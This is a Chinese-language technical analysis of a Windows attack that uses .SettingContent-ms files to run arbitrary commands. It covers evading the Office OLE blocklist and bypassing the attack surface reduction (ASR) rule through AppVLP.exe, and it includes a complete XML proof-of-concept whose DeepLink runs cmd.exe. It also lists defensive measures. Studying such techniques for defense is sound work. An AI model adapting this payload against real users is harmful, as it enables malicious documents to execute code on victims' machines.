如何利用SettingContent-ms文件执行任意命令
字数 1138 2025-08-29 08:32:18
利用SettingContent-ms文件执行任意命令的技术分析
1. 背景与挑战
在Windows安全加固环境下,攻击者面临以下限制:
- 文件格式选择受限(HTA、Office宏、VBS、JS等)
- Office 2016默认拦截通过OLE嵌入的危险文件格式
- Windows 10攻击面缩减(ASR)规则限制(特别是"阻止Office应用程序创建子进程"规则)
2. SettingContent-ms文件格式分析
2.1 文件格式特性
- Windows 10引入的格式,用于创建设置页面快捷方式
- 本质是XML文件,包含Windows 10设置二进制文件路径
- 关键元素:
<deeplink>,可接收带参数的二进制文件并执行
2.2 命令执行能力
当替换control.exe为cmd.exe /c calc.exe时:
- 双击文件直接执行命令,无"open"提示
- 从互联网下载后点击"open"按钮仍会执行
- 文件带有网页标记(Mark-Of-the-Web)但无警告
3. 攻击技术实现
3.1 通过Office文档嵌入
- Office 2016 OLE黑名单不包含SettingContent-ms格式
- 嵌入恶意.SettingContent-ms文件可绕过OLE限制
- 用户仅看到"Open Package Contents"提示
3.2 绕过ASR规则
ASR子进程创建规则(GUID: D4F940AB-401B-4EFC-AADC-AD5F3C50688A)的绕过方法:
- 发现ASR基于白名单路径放行Office相关二进制文件
- 利用Office路径中的
AppVLP.exe(应用程序虚拟化二进制文件) - 构造.SettingContent-ms文件调用
AppVLP.exe并传递cmd.exe作为参数
示例有效载荷:
<?xml version="1.0" encoding="UTF-8"?>
<PCSettings>
<SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent">
<ApplicationInformation>
<AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel</AppID>
<DeepLink>C:\Program Files\Microsoft Office\root\Office16\AppVLP.exe cmd.exe /c calc.exe</DeepLink>
<Icon>%SystemRoot%\system32\control.exe</Icon>
</ApplicationInformation>
<SettingIdentity>
<PageID></PageID>
<HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D}</HostID>
</SettingIdentity>
<SettingInformation>
<Description>@shell32.dll,-4161</Description>
<Keywords>@shell32.dll,-4161</Keywords>
</SettingInformation>
</SearchableContent>
</PCSettings>
4. 防御措施
4.1 文件执行限制
- 限制.SettingContent-ms文件仅在
C:\Windows\ImmersiveControlPanel路径执行
4.2 监控措施
- 监控命令行日志(所有通过此文件执行的命令都会被记录)
- 使用Sysmon监视Office应用程序创建的子进程异常
4.3 注册表修改
- 修改
HKLM:\SettingContent\Shell\Open\Command中的DelegateExecute键为空值 - 注意:可能破坏操作系统某些功能,需谨慎操作
5. 技术总结
此攻击方法结合了:
- 未被OLE拦截的.SettingContent-ms文件格式
- 从互联网下载后无警告执行的特性
- 利用Office路径中的合法二进制文件绕过ASR规则
PoC示例:
SettingContent-ms文件PoC